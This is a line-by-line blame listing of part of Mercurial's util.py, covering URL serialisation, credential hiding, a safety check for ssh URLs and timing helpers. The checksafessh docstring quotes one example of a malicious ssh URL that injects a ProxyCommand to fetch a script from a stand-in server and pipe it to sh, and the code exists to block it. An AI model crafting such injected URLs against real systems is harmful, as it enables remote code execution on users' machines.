34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3142 >>> bytes(url(b'bundle://../foo'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3143 'bundle:../foo'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3144 >>> bytes(url(b'path'))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3145 'path'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3146 >>> bytes(url(b'file:///tmp/foo/bar'))
14313 a389dd285282 util: make str(url) return file:/// for abs paths again Peter Arrenbrecht <peter.arrenbrecht@gmail.com> parents: 14271 diff changeset	3147 'file:///tmp/foo/bar'
34149 d4d4d11bac77 doctest: replace str() with bytes() Yuya Nishihara <yuya@tcha.org> parents: 34146 diff changeset	3148 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
15611 ec8a49c46d7e merge with stable Matt Mackall <mpm@selenic.com> parents: 15513 15609 diff changeset	3149 'file:///c:/tmp/foo/bar'
34152 a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed Yuya Nishihara <yuya@tcha.org> parents: 34149 diff changeset	3150 >>> print(url(br'bundle:foo\bar'))
14147 617483af1cc0 test: test that backslash is preserved by the url class Mads Kiilerich <mads@kiilerich.com> parents: 14146 diff changeset	3151 bundle:foo\bar
34152 a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed Yuya Nishihara <yuya@tcha.org> parents: 34149 diff changeset	3152 >>> print(url(br'file:///D:\data\hg'))
20106 c33d9217e99d util: url keeps backslash in paths Simon Heimberg <simohe@besonet.ch> parents: 20000 diff changeset	3153 file:///D:\data\hg
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3154 """
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3155 if self._localpath:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3156 s = self.path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3157 if self.scheme == 'bundle':
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3158 s = 'bundle:' + s
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3159 if self.fragment:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3160 s += '#' + self.fragment
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3161 return s
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3162
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3163 s = self.scheme + ':'
14313 a389dd285282 util: make str(url) return file:/// for abs paths again Peter Arrenbrecht <peter.arrenbrecht@gmail.com> parents: 14271 diff changeset	3164 if self.user or self.passwd or self.host:
a389dd285282 util: make str(url) return file:/// for abs paths again Peter Arrenbrecht <peter.arrenbrecht@gmail.com> parents: 14271 diff changeset	3165 s += '//'
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3166 elif self.scheme and (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3167 not self.path
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3168 or self.path.startswith('/')
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3169 or hasdriveletter(self.path)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3170 ):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3171 s += '//'
15609 8f4bad72d8b1 util: fix url.__str__() for windows file URLs Patrick Mezard <pmezard@gmail.com> parents: 15505 diff changeset	3172 if hasdriveletter(self.path):
8f4bad72d8b1 util: fix url.__str__() for windows file URLs Patrick Mezard <pmezard@gmail.com> parents: 15505 diff changeset	3173 s += '/'
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3174 if self.user:
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	3175 s += urlreq.quote(self.user, safe=self._safechars)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3176 if self.passwd:
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	3177 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3178 if self.user or self.passwd:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3179 s += '@'
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3180 if self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3181 if not (self.host.startswith('[') and self.host.endswith(']')):
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	3182 s += urlreq.quote(self.host)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3183 else:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3184 s += self.host
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3185 if self.port:
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	3186 s += ':' + urlreq.quote(self.port)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3187 if self.host:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3188 s += '/'
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3189 if self.path:
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3190 # TODO: similar to the query string, we should not unescape the
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3191 # path when we store it, the path might contain '%2f' = '/',
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3192 # which we should not escape.
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	3193 s += urlreq.quote(self.path, safe=self._safepchars)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3194 if self.query:
14988 e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3195 # we store the query in escaped form.
e6730f9e13bc url: store and assume the query part of an url is in escaped form (issue2921) Benoit Boissinot <benoit.boissinot@ens-lyon.org> parents: 14915 diff changeset	3196 s += '?' + self.query
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3197 if self.fragment is not None:
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	3198 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3199 return s
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3200
33038 ce96efec8112 py3: add utility to forward __str__() to __bytes__() Yuya Nishihara <yuya@tcha.org> parents: 32904 diff changeset	3201 __str__ = encoding.strmethod(__bytes__)
ce96efec8112 py3: add utility to forward __str__() to __bytes__() Yuya Nishihara <yuya@tcha.org> parents: 32904 diff changeset	3202
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3203 def authinfo(self):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3204 user, passwd = self.user, self.passwd
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3205 try:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3206 self.user, self.passwd = None, None
31841 9ff5a124d111 py3: replace str() with bytes() Pulkit Goyal <7895pulkit@gmail.com> parents: 31811 diff changeset	3207 s = bytes(self)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3208 finally:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3209 self.user, self.passwd = user, passwd
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3210 if not self.user:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3211 return (s, None)
15028 eb97a3e38656 http: explain why the host is passed to urllib2 password manager Patrick Mezard <pmezard@gmail.com> parents: 15027 diff changeset	3212 # authinfo[1] is passed to urllib2 password manager, and its
eb97a3e38656 http: explain why the host is passed to urllib2 password manager Patrick Mezard <pmezard@gmail.com> parents: 15027 diff changeset	3213 # URIs must not contain credentials. The host is passed in the
eb97a3e38656 http: explain why the host is passed to urllib2 password manager Patrick Mezard <pmezard@gmail.com> parents: 15027 diff changeset	3214 # URIs list because Python < 2.4.3 uses only that to search for
eb97a3e38656 http: explain why the host is passed to urllib2 password manager Patrick Mezard <pmezard@gmail.com> parents: 15027 diff changeset	3215 # a password.
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3216 return (s, (None, (s, self.host), self.user, self.passwd or ''))
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3217
14766 4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	3218 def isabs(self):
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	3219 if self.scheme and self.scheme != 'file':
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3220 return True # remote URL
14766 4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	3221 if hasdriveletter(self.path):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3222 return True # absolute for our purposes - can't be joined()
33108 d9962854a4a2 py3: add b'' to make the regex pattern bytes Pulkit Goyal <7895pulkit@gmail.com> parents: 33106 diff changeset	3223 if self.path.startswith(br'\\'):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3224 return True # Windows UNC path
14766 4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	3225 if self.path.startswith('/'):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3226 return True # POSIX-style
14766 4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	3227 return False
4f56b7530eab subrepos: be smarter about what's an absolute path (issue2808) Matt Mackall <mpm@selenic.com> parents: 14699 diff changeset	3228
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3229 def localpath(self):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3230 if self.scheme == 'file' or self.scheme == 'bundle':
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3231 path = self.path or '/'
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3232 # For Windows, we need to promote hosts containing drive
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3233 # letters to paths with drive letters.
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3234 if hasdriveletter(self._hostport):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3235 path = self._hostport + '/' + self.path
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3236 elif (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3237 self.host is not None and self.path and not hasdriveletter(path)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3238 ):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3239 path = '/' + path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3240 return path
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3241 return self._origpath
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3242
20353 0889585b44f1 util.url: add an 'islocal' method Siddharth Agarwal <sid0@fb.com> parents: 20244 diff changeset	3243 def islocal(self):
0889585b44f1 util.url: add an 'islocal' method Siddharth Agarwal <sid0@fb.com> parents: 20244 diff changeset	3244 '''whether localpath will return something that posixfile can open'''
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3245 return (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3246 not self.scheme or self.scheme == 'file' or self.scheme == 'bundle'
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3247 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3248
20353 0889585b44f1 util.url: add an 'islocal' method Siddharth Agarwal <sid0@fb.com> parents: 20244 diff changeset	3249
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3250 def hasscheme(path):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3251 return bool(url(path).scheme)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3252
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3253
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3254 def hasdriveletter(path):
15609 8f4bad72d8b1 util: fix url.__str__() for windows file URLs Patrick Mezard <pmezard@gmail.com> parents: 15505 diff changeset	3255 return path and path[1:2] == ':' and path[0:1].isalpha()
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3256
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3257
14825 de9eb6b1da4f util: rename the util.localpath that uses url to urllocalpath (issue2875) Mads Kiilerich <mads@kiilerich.com> parents: 14766 diff changeset	3258 def urllocalpath(path):
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3259 return url(path, parsequery=False, parsefragment=False).localpath()
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3260
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3261
33648 0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3262 def checksafessh(path):
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3263 """check if a path / url is a potentially unsafe ssh exploit (SEC)
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3264
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3265 This is a sanity check for ssh urls. ssh will parse the first item as
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3266 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server\|sh/path.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3267 Let's prevent these potentially exploited urls entirely and warn the
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3268 user.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3269
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3270 Raises an error.Abort when the url is unsafe.
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3271 """
0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3272 path = urlreq.unquote(path)
33658 3fee7f7d2da0 ssh: unban the use of pipe character in user@host:port string Yuya Nishihara <yuya@tcha.org> parents: 33655 diff changeset	3273 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3274 raise error.Abort(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3275 _('potentially unsafe url: %r') % (pycompat.bytestr(path),)
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3276 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3277
33648 0b3fe3910ef5 util: add utility method to check for bad ssh urls (SEC) Sean Farley <sean@farley.io> parents: 33624 diff changeset	3278
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3279 def hidepassword(u):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3280 '''hide user credential in a url string'''
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3281 u = url(u)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3282 if u.passwd:
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3283 u.passwd = '***'
31841 9ff5a124d111 py3: replace str() with bytes() Pulkit Goyal <7895pulkit@gmail.com> parents: 31811 diff changeset	3284 return bytes(u)
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3285
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3286
14076 924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3287 def removeauth(u):
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3288 '''remove all authentication information from a url string'''
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3289 u = url(u)
924c82157d46 url: move URL parsing functions into util to improve startup time Brodie Rao <brodie@bitheap.org> parents: 14064 diff changeset	3290 u.user = u.passwd = None
37366 b23e3cc1afd4 py3: return bytes from util.removeauth() Pulkit Goyal <7895pulkit@gmail.com> parents: 37322 diff changeset	3291 return bytes(u)
14515 76f295eaed86 util: add helper function isatty(fd) to check for tty-ness Idan Kamara <idankk86@gmail.com> parents: 14313 diff changeset	3292
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3293
18736 af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3294 timecount = unitcountfn(
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3295 (1, 1e3, _('%.0f s')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3296 (100, 1, _('%.1f s')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3297 (10, 1, _('%.2f s')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3298 (1, 1, _('%.3f s')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3299 (100, 0.001, _('%.1f ms')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3300 (10, 0.001, _('%.2f ms')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3301 (1, 0.001, _('%.3f ms')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3302 (100, 0.000001, _('%.1f us')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3303 (10, 0.000001, _('%.2f us')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3304 (1, 0.000001, _('%.3f us')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3305 (100, 0.000000001, _('%.1f ns')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3306 (10, 0.000000001, _('%.2f ns')),
af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3307 (1, 0.000000001, _('%.3f ns')),
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3308 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3309
18736 af9ddea2cb99 util: add a timed function for use during development Bryan O'Sullivan <bryano@fb.com> parents: 18735 diff changeset	3310
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3311 @attr.s
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3312 class timedcmstats(object):
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3313 """Stats information produced by the timedcm context manager on entering."""
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3314
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3315 # the starting value of the timer as a float (meaning and resulution is
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3316 # platform dependent, see util.timer)
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3317 start = attr.ib(default=attr.Factory(lambda: timer()))
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3318 # the number of seconds as a floating point value; starts at 0, updated when
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3319 # the context is exited.
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3320 elapsed = attr.ib(default=0)
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3321 # the number of nested timedcm context managers.
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3322 level = attr.ib(default=1)
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3323
38852 9d49bb117dde util: make new timedcmstats class Python 3 compatible Martijn Pieters <mj@zopatista.com> parents: 38837 diff changeset	3324 def __bytes__(self):
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3325 return timecount(self.elapsed) if self.elapsed else '<unknown>'
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3326
38852 9d49bb117dde util: make new timedcmstats class Python 3 compatible Martijn Pieters <mj@zopatista.com> parents: 38837 diff changeset	3327 __str__ = encoding.strmethod(__bytes__)
9d49bb117dde util: make new timedcmstats class Python 3 compatible Martijn Pieters <mj@zopatista.com> parents: 38837 diff changeset	3328
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3329
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3330 @contextlib.contextmanager
39287 e00123f63410 util: make timedcm require the label (API) Augie Fackler <augie@google.com> parents: 39286 diff changeset	3331 def timedcm(whencefmt, *whenceargs):
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3332 """A context manager that produces timing information for a given context.
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3333
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3334 On entering a timedcmstats instance is produced.
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3335
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3336 This context manager is reentrant.
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3337
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3338 """
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3339 # track nested context managers
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3340 timedcm._nested += 1
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3341 timing_stats = timedcmstats(level=timedcm._nested)
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3342 try:
39285 497effb0a04a util: make timedcm context manager also emit trace events Augie Fackler <augie@google.com> parents: 39237 diff changeset	3343 with tracing.log(whencefmt, *whenceargs):
497effb0a04a util: make timedcm context manager also emit trace events Augie Fackler <augie@google.com> parents: 39237 diff changeset	3344 yield timing_stats
38837 8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3345 finally:
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3346 timing_stats.elapsed = timer() - timing_stats.start
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3347 timedcm._nested -= 1
8751d1e2a7ff util: create a context manager to handle timing Martijn Pieters <mj@zopatista.com> parents: 38713 diff changeset	3348
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	3349
